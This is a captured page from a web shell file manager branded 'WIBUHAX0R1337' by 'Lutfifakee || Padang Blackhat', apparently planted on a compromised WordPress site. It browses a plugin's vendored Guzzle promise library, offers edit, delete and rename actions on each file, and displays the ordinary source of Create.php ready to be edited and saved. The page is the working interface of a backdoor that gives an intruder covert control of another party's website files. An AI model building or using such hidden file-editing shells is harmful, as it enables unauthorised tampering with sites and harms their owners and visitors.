-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
updraftplus
/
vendor
/
guzzlehttp
/
promises
/
src
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
AggregateException.php
0.371KB
Edit File
Delete File
Rename
CancellationException.php
0.179KB
Edit File
Delete File
Rename
Coroutine.php
4.244KB
Edit File
Delete File
Rename
Create.php
2.063KB
Edit File
Delete File
Rename
Each.php
2.822KB
Edit File
Delete File
Rename
EachPromise.php
7.599KB
Edit File
Delete File
Rename
FulfilledPromise.php
1.944KB
Edit File
Delete File
Rename
Is.php
0.976KB
Edit File
Delete File
Rename
Promise.php
8.734KB
Edit File
Delete File
Rename
PromiseInterface.php
2.785KB
Edit File
Delete File
Rename
PromisorInterface.php
0.238KB
Edit File
Delete File
Rename
RejectedPromise.php
2.23KB
Edit File
Delete File
Rename
RejectionException.php
1.189KB
Edit File
Delete File
Rename
TaskQueue.php
1.895KB
Edit File
Delete File
Rename
TaskQueueInterface.php
0.423KB
Edit File
Delete File
Rename
Utils.php
8.506KB
Edit File
Delete File
Rename
functions.php
9.891KB
Edit File
Delete File
Rename
functions_include.php
0.163KB
Edit File
Delete File
Rename
<?php namespace GuzzleHttp\Promise; final class Create { /** * Creates a promise for a value if the value is not a promise. * * @param mixed $value Promise or value. * * @return PromiseInterface */ public static function promiseFor($value) { if ($value instanceof PromiseInterface) { return $value; } // Return a Guzzle promise that shadows the given promise. if (is_object($value) && method_exists($value, 'then')) { $wfn = method_exists($value, 'wait') ? [$value, 'wait'] : null; $cfn = method_exists($value, 'cancel') ? [$value, 'cancel'] : null; $promise = new Promise($wfn, $cfn); $value->then([$promise, 'resolve'], [$promise, 'reject']); return $promise; } return new FulfilledPromise($value); } /** * Creates a rejected promise for a reason if the reason is not a promise. * If the provided reason is a promise, then it is returned as-is. * * @param mixed $reason Promise or reason. * * @return PromiseInterface */ public static function rejectionFor($reason) { if ($reason instanceof PromiseInterface) { return $reason; } return new RejectedPromise($reason); } /** * Create an exception for a rejected promise value. * * @param mixed $reason * * @return \Exception|\Throwable */ public static function exceptionFor($reason) { if ($reason instanceof \Exception || $reason instanceof \Throwable) { return $reason; } return new RejectionException($reason); } /** * Returns an iterator for the given value. * * @param mixed $value * * @return \Iterator */ public static function iterFor($value) { if ($value instanceof \Iterator) { return $value; } if (is_array($value)) { return new \ArrayIterator($value); } return new \ArrayIterator([$value]); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat